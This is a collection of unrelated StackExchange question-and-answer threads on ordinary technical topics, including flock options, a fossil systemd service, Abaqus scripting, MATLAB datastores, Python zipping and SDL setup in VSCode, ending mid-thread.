is very clear. But once I looked at the part after "edit", i.e. the part with all the $f^{-1}(C), f: \Omega_{0} \mapsto \Omega $, then I got confused. I think the proof under "edit" is so clear and already answer my questions. But the alternative answer i.e. those with the inverse function, (i.e. the equation (1) in your very first answer) drives me kind of crazy and confused. I am still digesting the equation (1) and the inverse function thing since it is so important in Measure Theory. It is good to know another way. I will try to understand slowly and carefully the explanations involving those inverse mapping first and will try to memorize equation (1) you put there. Because equation (1) you put there seems very important and it is kind of a super short-cut for proving things. For certainty: there is no inverse function here. The notation $f^{-1}(C)$ stands for the preimage of $C$ under $f$, i.e. $f^{-1}(C):={\omega\in\Omega_0\mid f(\omega)\in C}$. Don't confuse this with $f^{-1}$ as inverse function. Inverse functions are absent in my answer. The answer without the "inverse function" are perfect and I can fully understand since I was also looking for similar ways of proving that. But the part with "inverse function" drives me little bit confused and it will take me sometimes to understand and make use of. But it seems I understand more and little better now for those parts that involved the "inverse mapping". Oh sorry I may be little bit confused. I will try to read more carefully the part with preimage and will get back here with more questions later. My background is kind of weak in measure theory or real analysis. But you already answer my questions perfectly. And you also introduced the part with "pre-image" too which is another way of "proving" what I was trying to prove. It is great that I learn about this because equation 1 seems important. Thanks for your help. I will digest more first. If your main questions are answered, then you can accept this answer, right? Make it a custom to do that. I see that uptil now you posed $10$ questions and only made one acceptance. Your standards might be too high ;-). Thanks a lot for your help. Yes i accepted now. Haha Hi drhab, I just read your answer more carefully. Actually in the very first line of your answer, you actually said "Let it be that ... and that $f: \Omega^{'} \mapsto \Omega $ denotes a function". Does the "f" here actually mean Mapping? because you mentioned there is no "function" in your answer. Sorry for my numerous comments, and thanks for your patience and numerous responses. Yes $f$ is a function (or mapping if you like). Where did I mention that there is no function in my answer? In one of the comments I only remarked that in this context there is no inverse function. oh , sorry about that, yes you mean no inverse function.
common-pile/stackexchange_filtered
When I use flock it exits immediately instead of waiting I was confused for a very long time with the meaning of the -n flag for flock(1). Basically there are many guides for this tool, and often what we see is some command like flock -n 100. Here, fd number 100 is associated with some lockfile and used to perform locking. Today I kept getting confused because I would do some simple tests, and flock would exit with failure immediately. What exactly does the -n flag of flock do? Am I right in thinking that -n 100 associates file descriptor number 100 with some lockfile? Thanks for posting this, but could you please make it an actual question? I don't understand what you are asking here. Yeah let me figure out what would have been the burning question i had from before i solved it. It took me a long time to figure out that I misunderstood and made a dangerous assumption. I assumed from seeing it called with -n 100 to specify fd 100, that -n was the flag to set the file descriptor number. This isn't the case. -n is for nonblocking and this flag causes the immediate failure upon failure to lock. From man flock: -n, --nb, --nonblock Fail rather than wait if the lock cannot be immediately acquired. See the -E option for the exit status used. It seems that if a plain number is given, then it is treated as the fd. This is nonobvious. This is nonobvious As far as I can tell it's documented in the flock(1) man page. The Synopsis section at the top gives three examples of the command and argument syntax, and the third syntax is flock [options] number. The Description section (just under Synopsis) describes the three syntaxes. The first two don't show number as an argument. The description of the third syntax says: The third form uses an open file by its file descriptor number. See the examples below for how that can be used. The manpage definitely did clear it all up for me. I suppose that my point is that the examples I saw and the choice of having the short flag named n turned out to be misleading for me. I made this post because it's going to help out others who get confused in the same process.
common-pile/stackexchange_filtered
Report fails when is build in VS but doesn't fail with MSBuild I am trying to create deployment job that would checkout from git and builds all the reports in the solution. If it can't build then I want that job to fail. I've created the simple report with dataset as "select 1 as one" and then added 1 non existing column reference in the report. When I tried to build it with Visual Studio it is failing, however it is successfully build with the MSBuild ... What can be the issue? Severity Code Description Project File Line Suppression State Error [rsFieldReference] The Value expression for the text box ‘one’ refers to the field ‘one1’. Report item expressions can only refer to fields within the current dataset scope or, if inside an aggregate, the specified dataset scope. Letters in the names of fields must use the correct case. C:\Users\kultasev\Repos\mfi-online-reports\MFI Online Reports\broken_report.rdl 0 What is your build command line? Are you call MSBuild 15.0 from C:\Program Files (x86)\Microsoft Visual Studio\2017\Enterprise\MSBuild\15.0\Bin ? If yes, could you please share a sample and some detailed steps to reproduce this issue? We could not give any useful advice before we could reproduce this issue. Yes, 15.0. "${bamboo.build.working.directory}\Reports.sln" /t:Build /p:Configuration=Debug
common-pile/stackexchange_filtered
Can Windows find unmanaged DLLs not in the path, GAC or Registry? Can Windows find the unmanaged (non-COM) DLLs of a mixed-mode application if these DLLs are not in the application directory or Windows path? I noticed VS 2008 does not appear on the path, and I was wondering how this is done. No, it can't "find" them in the sense of searching a set of paths. But they can always be loaded by their full path (C:\Program Files\Visual Studio...) if you know where to look. You can use AppDomain to get your own executable's path, and then derive the location of your DLLs from there. Is that what you were looking for? Your question is a bit ambiguous.
common-pile/stackexchange_filtered
Warning of NameError for wireType in ABAQUS I tried to connect points through wires using script. A warning regarding the NameError occurred. the code i tried to run in abaqus: a = mdb.models['Model-1'].rootAssembly v11 = a.instances['r-mesh-2'].vertices v12 = a.instances['s-mesh-1'].vertices v13 = a.instances['r-mesh-1'].vertices v14 = a.instances['s-mesh-1-lin-2-1'].vertices a.WirePolyLine(points=((v11.findAt(coordinates=(2.595, 0.22, -35.7)), v12.findAt(coordinates=(2.595, 0.2, -35.7))), (v11.findAt(coordinates=( 2.445, 0.22, -35.7)), v12.findAt(coordinates=(2.445, 0.2, -35.7))), ( v13.findAt(coordinates=(1.095, 0.22, -35.7)), v12.findAt(coordinates=( 1.095, 0.2, -35.7))), (v13.findAt(coordinates=(0.945, 0.22, -35.7)), v12.findAt(coordinates=(0.945, 0.2, -35.7))), (v11.findAt(coordinates=( 2.595, 0.22, -35.1)), v14.findAt(coordinates=(2.595, 0.2, -35.1)))), mergeType=IMPRINT, meshable=OFF) a = mdb.models['Model-1'].rootAssembly e1 = a.edges edges1 = e1.findAt(((2.595, 0.215, -35.1), ), ((0.945, 0.215, -35.7), ), (( 1.095, 0.215, -35.7), ), ((2.445, 0.215, -35.7), ), ((2.595, 0.215, -35.7), )) a.Set(edges=edges1, name='Wire-1-Set-1') Here's the error: NameError: name 'IMPRINT' is not defined Another time I purposefully changed that part of the code as 'mergeType='IMPRINT', then the error becomes: TypeError: mergeType; found string, expecting IMPRINT, MERGE or SEPARATE How to solve the problem? thanks The module giving you the error is expecting a certain constant from another module. Import the module with the necessary constants: from abaqusConstants import * Then use mergeType=IMPRINT, ... as you are already doing. Or you could avoid polluting your namespace and alias it instead: import abaqusConstants as ac And then use mergeType=ac.IMPRINT, .... Thanks for your suggestion! I'm new to ABAQUS and Python, there can be lots of basics that I'm not aware of. So I'm not sure if I understand it correctly. I saved the first part of the code as a new file: ab.py. Then execute . And then use mergeType=ab.IMPRINT, ... Now I get the error <mergeType=ab.IMPRINT, meshable=OFF TypeError: 'AbaqusBoolean' object is not iterable>. What's the correct way to do it? Solved! put < from abaqusConstants import * > at the top of the code... I'm glad to hear that this answer solved the problem. You can mark it as such for future users by clicking the check mark below its score to accept it.
common-pile/stackexchange_filtered
systemd run fossil as non-root user I want to run fossil as systemd service under non-root user. useradd -r fossil touch /etc/systemd/system/fossil.service fossil.service file: [Unit] User=fossil Group=fossil Description=Fossil Service After=network.target StartLimitIntervalSec=0 [Service] Type=simple User=fossil Group=fossil WorkingDirectory=/opt/fossil/repos ExecStart=/usr/bin/fossil server --localhost --port 9000 --repolist /opt/fossil/repos Restart=always RestartSec=3 [Install] WantedBy=multi-user.target Fossil user/group is an owner of /opt/fossil directory. sudo systemctl daemon-reload sudo systemctl stop fossil sudo systemctl start fossil sudo systemctl status fossil -l Output: fossil.service - Fossil Service Loaded: loaded (/etc/systemd/system/fossil.service; enabled; vendor preset: enabled) Active: activating (auto-restart) (Result: exit-code) since Mon 2022-09-26 17:59:10 CEST; 1s ago Process: 2015 ExecStart=/usr/bin/fossil server --localhost --port 9000 --repolist /opt/fossil/repos (code=exited, status=200/CHDIR) Main PID: 2015 (code=exited, status=200/CHDIR) sudo journalctl -u fossil Print output: .... systemd[12954]: fossil.service: Changing to the requested working directory failed: Permission denied Sep 27 systemd[12954]: fossil.service: Failed at step CHDIR spawning /usr/bin/fossil: Permission denied Sep 27 systemd[1]: fossil.service: Main process exited, code=exited, status=200/CHDIR Sep 27 systemd[1]: fossil.service: Failed with result 'exit-code'. Sep 27 systemd[1]: fossil.service: Service RestartSec=3s expired, scheduling restart. Sep 27 systemd[1]: fossil.service: Scheduled restart job, restart counter is at 1. Sep 27 systemd[1]: Stopped Fossil Service. Sep 27 systemd[1]: Started Fossil Service. ls -all /opt/fossil drwxr-xr-x 4 fossil fossil 4096 Sep 27 repos If I remove line User=fossil Everything work fine. How can I fossil as fossil user I don't know anything about fossil, but your problem is clearly related to permissions. If you ever ran sudo fossil ... /opt/fossil/repos, then it is possible that you now have a file in that directory which is owned by root and not world-writable. A catch-all solution would be: sudo chown -R fossil:fossil /opt/fossil A slightly more targeted approach would be sudo chown -R fossil:fossil /opt/fossil/repos This will recursively change ownership of all files/directories it needs to fossil. This is usually safe to do in /opt/<package>/ because /opt usually contains relocatable packages which are not dependencies of other packages and contents which are intended to be run in their own little world anyways. I am even more comfortable with this because the binary /usr/bin/fossil is not in /opt and so fossil will not be able to overwrite itself. But it's good to offer as narrow of permissions as possible. So see what's in /opt/fossil. If it is split up into the traditional bin/, etc/, lib/, var/, then do this on var/ only. If it has configuration files that it should not touch itself, then ensure those are not owned by fossil. If it clearly has a read-write data directory, like /opt/fossil/repos, then chown that directory only.
common-pile/stackexchange_filtered
What nouns describe the relationship between tiers? For example, in the majority of football (soccer) leagues, you'll have a number of tiers such as the first division, second division, third, etc. At the end of each season the few top teams in the second division are promoted to the first division, and the few bottom teams in the first division are relegated to the second division. What would the second division be refered to from the first division, and visa versa? I don't think parent/child necessarily makes sense, as this to my mind indicates some level of succession and timing, such as the parenting occuring before the child, where as in this context they are potentially conceived and occur at the same time. EDIT: To clarify I'm looking for the noun, such as: The first division is the parent of the second division. The second division is the child of the first division. Team-above; team-below ? Well I'm thinking I may have to concede there isn't a perfect set of nouns for this and go with something like that, although I'm describing the competition or the league rather than the team. I should have said league-above/up/after/+1 or league-up/below/down/-1 but same principle :-) hopefully someone has a better idea ! Clubs are promoted and demoted, and they are said to go up a level or down a level. Considering maybe Senior/Junior Seen from above, all but the top division could be "lesser" or "lower" From below, the rest might be "higher" but I know more about paint drying than sports… superior/inferior? If you read writing about British football, such as on Wikipedia, you'll see the British terminology, which is based on height metaphors: top, higher, upper, lower, etc. I don't suppose anyone cares about such an old question, but it seems just wrong to me to ask for a noun to describe a relationship - a relationship is a noun already and we generally use adjectives (sometimes adverbs) to describe relationships between nouns. Think of a traditional score table (like in an arcade video game, or pub darts). Someone is at the top, and someone at the bottom, and some others in the middle. Let's call each of those someones a "member", belonging to the "table". The division system is just like that, except that you have multiple systems of "members" in "tables" (the 1st division is a table of members, and the 2nd division is a table of members, etc.) and then the entire system is a "meta-table", itself, where each member is a table, and you can rank them the same way: that's why the first division is "higher" than the second division, etc. I hope this doesn't sound pretentious. It makes perfect sense. From a computer programming perspective: you are right that this isn't a parent-child relationship, because a child is generally PART of the parent (e.g. a rocket engine might be a child of a parent rocket-ship). You are talking about a table of tables. So the relationship from div 1 to div 2 is just "next" and "previous", and there is also an assumption that "being more previous than X means you have done better in football than X". Boring, but true. Since a lower tier can send a team up as well as receive a team that was "relegated" from a higher tier, there's a reciprocal relationship that no single noun would express. You'd need two nouns for all but the highest and lowest tiers.
common-pile/stackexchange_filtered
how to customize joomla db sql error messages and how to prevent duplicate entries my showtime table contains following fields, id, name, showtime where id is a int type auto-increment field(pK). showtime time type unique field . when I try to add a showtime(duplicate value) to showtime field($row->store()) it shows the following joomla error message.(I used $row->getError() method) TableShowTime: :store failed Duplicate entry '10:30:00' for key 'showtime' SQL=INSERT INTO `jos_myextension_showtime` (`id`,`name`) VALUES ('0','evening') I want to know is there any way to show only the db error message without showing sql query. I have an idea to check the duplicate values using a query before insert, is it a good practice? Plz Help. I think that if you don't want to display the query, then you shouldn't show the other part of the error message neither (don't tell the user you're trying to insert a duplicate key). A simple fix to this might be something like this: if ( $row>getError() ) { echo "Could not store [...]"; } If this is a custom component, you could also modify your table class to customize these error message, or even show distinct error messages depending on the error number. I hope it helped! thank you for your help. I also want to know are there any method to check the value(showtime) is already in table. I can do it using a simple select query. but is there any better method exist in Joomla? I think a simple query is ok. Maybe there are other methods to do it, like trying to load a row based on the showtime value and return an error using info from that row if it's not empty, but a simple query is ok.
common-pile/stackexchange_filtered
Difference between 'If ..was' and 'If ...were' Possible Duplicate: “If I was” or “If I were”. Which is more common, and which is correct? Hi, I have seen different usage of the phrase 'If..was' and 'If..were'. But I find it difficult to understand when to use which. e.g. If I were the President of the United State, I would get the hell out of Iraq. This looks correct. Can I use 'If I was' here? Is there a rule? See “If I was” or “If I were”. Which is more common, and which is correct?, 'Was' vs 'Were' Word Usage in Stack Overflow Ad Image, and What happened to the subjunctive?.
common-pile/stackexchange_filtered
Regedit Directory definition? can someone tell me what the NSI directory is? for example SYSTEM\ControlSet001\Control\Nsi\{eb004a11-9b1a-11d4-9123-0050047759bc}\10 I am curious to know why there is an bunch of these vaules in my registry each time I connect to the internet; i think it is some sort of tracking as it keeps sending these binary data every few minutes AE 01 84 04 2C 00 4C 00 6F 00 63 00 61 00 6C 00 20 00 41 00 72 00 65 00 61 00 20 00 43 00 6F 00 6E 00 6E 00 65 00 63 00 74 00 69 00 6F 00 6E 00 2A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 26 00 57 00 41 00 4E 00 20 00 4D 00 69 00 6E 00 69 00 70 00 6F 00 72 00 74 00 20 00 28 00 53 00 53 00 54 00 50 00 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 83 00 00 00 D7 97 F8 71 7C EB 8D 4D 89 DB AC 80 D9 DD 22 70 41 E3 6E 84 39 70 DE 11 9D 20 80 6E 6F 6E 69 63 01 00 00 00 0C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF Searching NSI across Microsoft's website yields Network Store Interface, you can read what it does: The Network Store Interface Service delivers network notification to user mode clients. The service keeps track of the network interfaces available on the computer, stores routing information for each, and communicates this information with other services that require it. This service depends on the NSI Proxy Service. The following system components depend on this service and fail if this service is stopped: DHCP Client IP Helper Network Connections Network Location Awareness Workstation Stopping this service causes loss of network connectivity. This service startup type is Automatic. This service keeps track of the network interfaces and routing information and shares that.
common-pile/stackexchange_filtered
Issue in creating Zip file using glob.glob I am creating a Zip file from a folder (and subfolders). it works fine and creates a new .zip file also but I am having an issue while using glob.glob. It is reading all files from the desired folder (source folder) and writing to the new zip file but the problem is that it is, however, adding subdirectories, but not adding files form the subdirectories. I am giving user an option to select the filename and path as well as filetype also (Zip or Tar). I don;t get any problem while creating .tar.gz file, but when use creates .zip file, this problem comes across. Here is my code: for name in (Source_Dir): for name in glob.glob("/path/to/source/dir/*" ): myZip.write(name, os.path.basename(name), zipfile.ZIP_DEFLATED) myZip.close() Also, if I use code below: for dirpath, dirnames, filenames in os.walk(Source_Dir): myZip.write(os.path.join(dirpath, filename) os.path.basename(filename)) myZip.close() Now the 2nd code taks all files even if it inside the folder/ subfolders, creates a new .zip file and write to it without any directory strucure. It even does not take dir structure for main folder and simply write all files from main dir or subdir to that .zip file. Can anyone please help me or suggest me. I would prefer glob.glob rather than the 2nd option to use. Thanks in advance. Regards, Akash Glob by design does not expand into subdirectories. It follows UNIX style path rules and expansions see the documentation for fnmatch for more information. If you want to get at the subdirectories you need to add it to the path. This example will get everything at one level down. for name in (Source_Dir): for name in glob.glob("/path/to/source/dir/*/*" ): myZip.write(name, os.path.basename(name), zipfile.ZIP_DEFLATED) myZip.close() Doug Hellman has an excellent discussion here. If you are not using the pattern features of glob (like *.txt for all text files or *[0-9].txt for all text files that have a number before the extension) then I think your os.walk solution is better
common-pile/stackexchange_filtered
Power BI Slicer Showing More Dates Than Available I have dates in a set of data. The data is in MM/dd/yyyy format. The earliest date is: 11/25/2014 The latest date is 10/21/2021 I am using a slicer in my visualization. When I click on a date value, circled in my image below, I am able to select dates earlier than my earliest date, see image below: How do I stop this from going earlier than my earliest date? You can check this video {Build a DATE PICKER in Power BI Desktop} from channel [Guy in a Cube]: https://www.youtube.com/watch?v=zhWtU0DynCk&ab_channel=GuyinaCube This is a known issue with the default Power BI Date picker
common-pile/stackexchange_filtered
Do we have any css frameworks to make web applications for desktop first approach I came to hear about the css bootstrap framework which gives lots of components to start with initial development. Do we have any other similar open source framework which is made only desktops as I am never gonna use this application for mobiles. Being a back end developer, I really do not want to style each and every element on the web page. Any responsive framework will work on a desktop. The fact they work on a mobile too is an advantage, even if you have no intention of using it. but the design of components (like forms in bootstrap) look like they have been designed for the mobile. I'm not sure why you think that? It's not the case at all. They work just as well on a desktop machine. Okay Rory will try it as you have said This question is off topic (#4). If you think that CSS Bootstrap is for dekstops only then please correct yourself my friend. Almost all the frameworks available in the market makes our website presentable across all devices. As you are concerned only for Desktop view, so any framework will do your job perfectly fine. Most of the frameworks are Desktop view first (excluding Bootstrap 3 which is mobile first), so framework being responsive and heavy does not affect the speed of loading on Dekstop, as the styling for Dekstop will load first. Here's a link that gives 10 frameworks that are worth using(they are all responsive too as an additional benefit): Choose the one best suited for you. http://designinstruct.com/roundups/html5-frameworks/ Check out the Foundation for Apps... About responsive, just left it there. Use only the CSS classes for desktop screen and it will be done. So far I think it is the most advanced CSS framework for Apps (or back end in your case). I just want a simple old fashioned web application, not a single page application. I just want a basic template to start with thats it. @rockyit86 You can just use the CSS part, but not including JS and using any angular directive. So it will work like a basic CSS framework for you. i don't know angular framework
common-pile/stackexchange_filtered
Change type of variable with a for loop I have a data set in R and I want to turn the first three columns into a factor with a for loop. What I did is: newvar=names(data)[1:3] for(v in newvar){ data[,v] = as.factor(data[,v]) } this works fine. Can anyone tell me why for( v in newvar){ data$v=as.factor(data$v) } won´t work? Because $ can't evaluate RHS. Let me use my Google-foo for a sec... For what it's worth, you could get around this with the [[ notation. For example for (v in newvar) data[[v]] <- as.factor(data[[v]]) @brittenb they already got around it AFIK
common-pile/stackexchange_filtered
How to solve "Incorrectly defined MiniBatchable Datastore" error when training network I'm trying to use a convolutional neural net (designed with MATLAB's Deep Network Designer) to identify flowers from a dataset of images (pretty new to machine learning, haven't taken a course, just playing around with things). I've stored my images and labels in an augmented datastore called auimds, but when I run trainNetwork, I get the following error: Error using trainNetwork (line 150) Incorrectly defined MiniBatchable Datastore. Error in read method of C:\Program<EMAIL_ADDRESS>at line 261: Wrong number of arguments. Error in trainer (line 2) net = trainNetwork(auimds,lgraph_1,options); This is the code that produces the error: options = trainingOptions('sgdm'); net = trainNetwork(auimds,lgraph_1,options); This is the relevant part of the code that creates auimds. "paths" is a list of paths to images, "labels" is the list of labels, and "folders" is a list of the names of folders containing images. The images are given labels based on their containing folder's name: counter = 1; for i=1:length(paths) files = dir(fullfile(paths(i),'*.jpg')); for j=1:length(files) labels(counter) = folders(i).name; counter = counter + 1; end end imds = imageDatastore(paths,'Labels',labels); auimds = augmentedImageDatastore([200,200],imds); For anyone encountering this issue, I solved it by setting the labels to categorical. imds = imageDatastore(paths,'Labels', categorical(labels));
common-pile/stackexchange_filtered
Nilpotent short games of odd order Is there a short game $G \ne 0$ such that $G + G + G = 0$? It seems to me like such a game shouldn't exist, but I am unable to prove it. Can anyone give an example of such a game, or a proof that one doesn't exist? Also, is there any short game $G$ such that an odd number of copies of $G$ summed together gives $0$? Note that if there is not, then any nilpotent game has order a power of 2. Does this answer your question? Are there non-zero combinatorial games of odd order? Yes. That is exactly what I was asking. Thank you for finding it.
common-pile/stackexchange_filtered
SDL.h No such file or directory in VSCode I'm trying to add the relevant "-I"path_to_your_SDL_include_directory"" as outlined in several similar posts such as this one. I have tried three approaches;, adding it to tasks.json, Makefile and c_cpp_properties.json. My file structure is as follows. My main.cpp is in MyProject/src. I have copied all the contents of SDL's include folder to MyProject/lib/SDL2_lib/include and copied the lib folder to MyProject/lib/SDL2_lib/lib. SDL2.dll lives in MyProject/lib/SDL2_lib. The following is a visual summary as well as my code. main.cpp #include <iostream> #include <SDL.h> const int WIDTH = 800, HEIGHT = 600; int main( int argc, char *argv[] ) { SDL_Init( SDL_INIT_EVERYTHING ); SDL_Window *window = SDL_CreateWindow( "Hello SDL WORLD", SDL_WINDOWPOS_UNDEFINED, SDL_WINDOWPOS_UNDEFINED, WIDTH, HEIGHT, SDL_WINDOW_ALLOW_HIGHDPI ); if ( NULL == window ) { std::cout << "Could not create window: " << SDL_GetError( ) << std::endl; return 1; } SDL_Event windowEvent; while ( true ) { if ( SDL_PollEvent( &windowEvent ) ) { if ( SDL_QUIT == windowEvent.type ) { break; } } } SDL_DestroyWindow( window ); SDL_Quit( ); return EXIT_SUCCESS; } Makefile all: g++ -I lib/SDL2_lib/include -Llib/SDL2_lib/lib -o Main src/main.cpp tasks.json { "tasks": [ { "type": "cppbuild", "label": "C/C++: g++.exe build active file", "command": "C:\\MinGW\\bin\\g++.exe", "args": [ "-fdiagnostics-color=always", "-g", "${file}", "-I lib/SDL2_lib/include", "-L lib/SDL2_lib/lib", "-lmingw32", "-lSDL2main", "-lSDL2", "-o", "${workspaceFolder}/bin\\${fileBasenameNoExtension}.exe" ], "options": { "cwd": "${fileDirname}" }, "problemMatcher": [ "$gcc" ], "group": { "kind": "build", "isDefault": true }, "detail": "Task generated by Debugger." } ], "version": "2.0.0" } c_cpp_properties.json { "configurations": [ { "name": 